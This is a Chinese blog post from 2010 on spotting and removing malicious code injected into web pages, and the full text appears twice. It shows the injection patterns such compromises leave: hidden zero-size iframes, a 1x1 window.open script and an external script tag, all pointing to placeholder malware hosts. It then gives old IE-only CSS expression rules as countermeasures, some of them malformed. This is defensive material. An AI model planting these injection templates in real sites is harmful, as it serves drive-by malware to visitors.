检查网站是否被挂马及解决办法
2010-05-18 11:49
204 查看
网页通用挂码有三种方式,具体怎么挂的,网页被挂码的时候,HTML会混乱,造成前台首页参差不齐,被挂网页的网码一般有以下四种:
一:<iframe src="网马的地址" width="0" height="0" frameborder="0"></iframe>,“width="0" height="0" frameborder="0"就是大小高度的意思”这样被挂马的网页上就不会显示出来。
二:脚本挂马
<SCRIPT language=javascript>
window.open("网马的地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,width=1,height=1");
</script>
三:这一点就是比较隐蔽的那就是使用js文件,代码如下:<script language="javascript" src="</script''''>http://xxxxxxx.net/mm.js"></script>这种呢,是很难发现被挂码,但是容易造成HTML混乱
四:再一种代码就是调用其他网页的页面文件,可以将下面的代码复制,保存为HTM文件,代码如下: frameset rows="444,0" cols="*">
<frame src="/网马的地址" framborder="no" scrolling="auto" noresize marginwidth="0" margingheight="0">
<frame src="help.htm" frameborder="no" scrolling="no" noresize marginwidth="0" margingheight="0">
</frameset>
以上是被挂码的时候网页上会存在以上代码,那如果在检查网页是否被挂马时看到这些代码就可以证明有无挂马的现象了,发现网页被挂马后,通用的做法就是把以上代码中的任一代码删除然后保存即可。
解决方案1:
iframe{n1ifm:expression(this.src=''''about:blank'''',this.outerHTML='''''''');}/*这行代码是解决挂IFRAME木马的哦*/
script{nojs1:expression((this.src.toLowerCase().indexOf(''''http'''')==0)?document.write(''''木马被成功隔离!''''):'''''''');}
原理:将<script>标记的src拿出来转为小写,再看是不是以“http”开头的外域JS脚本文件,如果是,则页面内容清空并写出“木马被成功隔离!”。反之正常显示。
缺点:访客无法看到被感染了<script>木马的页面。
解决方案2:
iframe{nifm2:expression(this.src=''''about:blank'''',this.outerHTML='''''''');}
script{no2js:expression((this.src.toLowerCase().indexOf(''''http'''')==0)?document.close():'''''''');}
原理:将外域的JS文件的document.write()使用document.close()强制关闭。木马内容还没有来得及写完,只有部分被强制缓存输出了,剩下的不会再写了。
解决方案3:
iframe{ni3fm:expression(this.src=''''about:blank'''',this.outerHTML='''''''');}
script{n3ojs:expression((this.src.toLowerCase().indexOf(''''http'''')==0)?document.execCommand(''''stop''''):'''''''');}
原理:同到外域的JS文件,立即调用IE私有的execCommand方法来停止页面所有请求,所以接下来的外域JS文件也被强制停止下载了。就像我们点了浏览器的“停止”按钮一样。看来这是JS模拟IE停止按钮的一种方法。
解决方案4:
iframe{nif4m:expression(this.src=''''about:blank'''',this.outerHTML='''''''');}
script{noj4s:expression(if(this.src.indexOf(''''http'''')==0)this.src=''''res://ieframe.dll/dnserror.htm'''');}
原理:将外域的JS文件的src重写成本地IE404错误页面的地址,这样,外域的JS代码不会下载。
解决方案5:
iframe{nifm5:expression(this.src=''''about:blank'''',this.outerHTML='''''''');}
script{noj5s:expression((this.id.toLowerCase().indexOf(''''vok'''')!=-1)?document.write(''''木马被成功隔离!''''):''''''''));}
第五种方案的页面HTML源代码<script>中要加入以"lh"为前缀的id,如lhWeatherJSapi,<script src="***/**.js" id="lhSearchJSapi"></script>
综上所述,是用CSS解决木马问题,访客不会再轻易地中毒了。最终的解决方案是找出真正被挂IFRAME的原因,堵住源头,即网站漏洞之类的.
一:<iframe src="网马的地址" width="0" height="0" frameborder="0"></iframe>,“width="0" height="0" frameborder="0"就是大小高度的意思”这样被挂马的网页上就不会显示出来。
二:脚本挂马
<SCRIPT language=javascript>
window.open("网马的地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,width=1,height=1");
</script>
三:这一点就是比较隐蔽的那就是使用js文件,代码如下:<script language="javascript" src="</script''''>http://xxxxxxx.net/mm.js"></script>这种呢,是很难发现被挂码,但是容易造成HTML混乱
四:再一种代码就是调用其他网页的页面文件,可以将下面的代码复制,保存为HTM文件,代码如下: frameset rows="444,0" cols="*">
<frame src="/网马的地址" framborder="no" scrolling="auto" noresize marginwidth="0" margingheight="0">
<frame src="help.htm" frameborder="no" scrolling="no" noresize marginwidth="0" margingheight="0">
</frameset>
以上是被挂码的时候网页上会存在以上代码,那如果在检查网页是否被挂马时看到这些代码就可以证明有无挂马的现象了,发现网页被挂马后,通用的做法就是把以上代码中的任一代码删除然后保存即可。
解决方案1:
iframe{n1ifm:expression(this.src=''''about:blank'''',this.outerHTML='''''''');}/*这行代码是解决挂IFRAME木马的哦*/
script{nojs1:expression((this.src.toLowerCase().indexOf(''''http'''')==0)?document.write(''''木马被成功隔离!''''):'''''''');}
原理:将<script>标记的src拿出来转为小写,再看是不是以“http”开头的外域JS脚本文件,如果是,则页面内容清空并写出“木马被成功隔离!”。反之正常显示。
缺点:访客无法看到被感染了<script>木马的页面。
解决方案2:
iframe{nifm2:expression(this.src=''''about:blank'''',this.outerHTML='''''''');}
script{no2js:expression((this.src.toLowerCase().indexOf(''''http'''')==0)?document.close():'''''''');}
原理:将外域的JS文件的document.write()使用document.close()强制关闭。木马内容还没有来得及写完,只有部分被强制缓存输出了,剩下的不会再写了。
解决方案3:
iframe{ni3fm:expression(this.src=''''about:blank'''',this.outerHTML='''''''');}
script{n3ojs:expression((this.src.toLowerCase().indexOf(''''http'''')==0)?document.execCommand(''''stop''''):'''''''');}
原理:同到外域的JS文件,立即调用IE私有的execCommand方法来停止页面所有请求,所以接下来的外域JS文件也被强制停止下载了。就像我们点了浏览器的“停止”按钮一样。看来这是JS模拟IE停止按钮的一种方法。
解决方案4:
iframe{nif4m:expression(this.src=''''about:blank'''',this.outerHTML='''''''');}
script{noj4s:expression(if(this.src.indexOf(''''http'''')==0)this.src=''''res://ieframe.dll/dnserror.htm'''');}
原理:将外域的JS文件的src重写成本地IE404错误页面的地址,这样,外域的JS代码不会下载。
解决方案5:
iframe{nifm5:expression(this.src=''''about:blank'''',this.outerHTML='''''''');}
script{noj5s:expression((this.id.toLowerCase().indexOf(''''vok'''')!=-1)?document.write(''''木马被成功隔离!''''):''''''''));}
第五种方案的页面HTML源代码<script>中要加入以"lh"为前缀的id,如lhWeatherJSapi,<script src="***/**.js" id="lhSearchJSapi"></script>
综上所述,是用CSS解决木马问题,访客不会再轻易地中毒了。最终的解决方案是找出真正被挂IFRAME的原因,堵住源头,即网站漏洞之类的.
相关文章推荐
- 关于VS2008 中添加成员变量提示 此网站的某个加载项运行失败 请检查“Internet选项”中的安全设置是否存在潜在冲突 问题解决办法
- 关于VS2008 中添加成员变量提示 此网站的某个加载项运行失败 请检查“Internet选项”中的安全设置是否存在潜在冲突 问题解决办法
- Destoon5出现 请检查网站根目录下 license.txt 文件是否存在或被修改 终极解决办法
- 用oralce连接.net客户端出现问题:“数据连接不成功,请检查该数据库是否已启动尝试加载oracle客户端时引发BadImageFormatException.如果在安装32位Oracle客户端组件的情况下以64位模式运行,”的解决办法
- Linux使用curl 方式安装docker-compose 后执行docker-compose version 检查安装是否成功时出错的解决办法
- 解决办法:mysql_connect()不支持请检查mysql模块是否正确加载
- 安装oracle数据库过程中,出现【INS-30014】无法检查指定的位置是否位于CFS上的解决办法
- 动软代码生成器,出现”添加服务器配置失败,请检查是否有写入权限或文件是否存在“的错误的解决办法
- 网站被黑kill_kk/xiaolu/daxia123.cn挂马解决办法与原因
- 解决办法:mysql_connect()不支持请检查mysql模块是否正确加载
- 解决办法:mysql_connect()不支持请检查mysql模块是否正确加载
- 新装系统5ucms进后台报错-数据库链接出错,请检查数据库路径是否正确(Inc/Conn.asp)!解决办法
- 解决办法:mysql_connect()不支持请检查mysql模块是否正确加载
- DEDECMS网站被挂马的解决办法
- 请检查DNT.config中Dbtype节点数据库类型是否正确 解决办法
- c#,EXCEL 找不到编译动态表达式所需的一个或多个类型。是否缺少引用?解决办法
- 关于serv-u公网访问出现“打开ftp服务器上的文件夹时发生错误。请检查是否有权限访问该文件夹。详细信息:操作超时”的解决方法
- WireShark默认不检查校验和的解决办法
- 关于iphone 6 ios8网站背景图片错乱的问题解决办法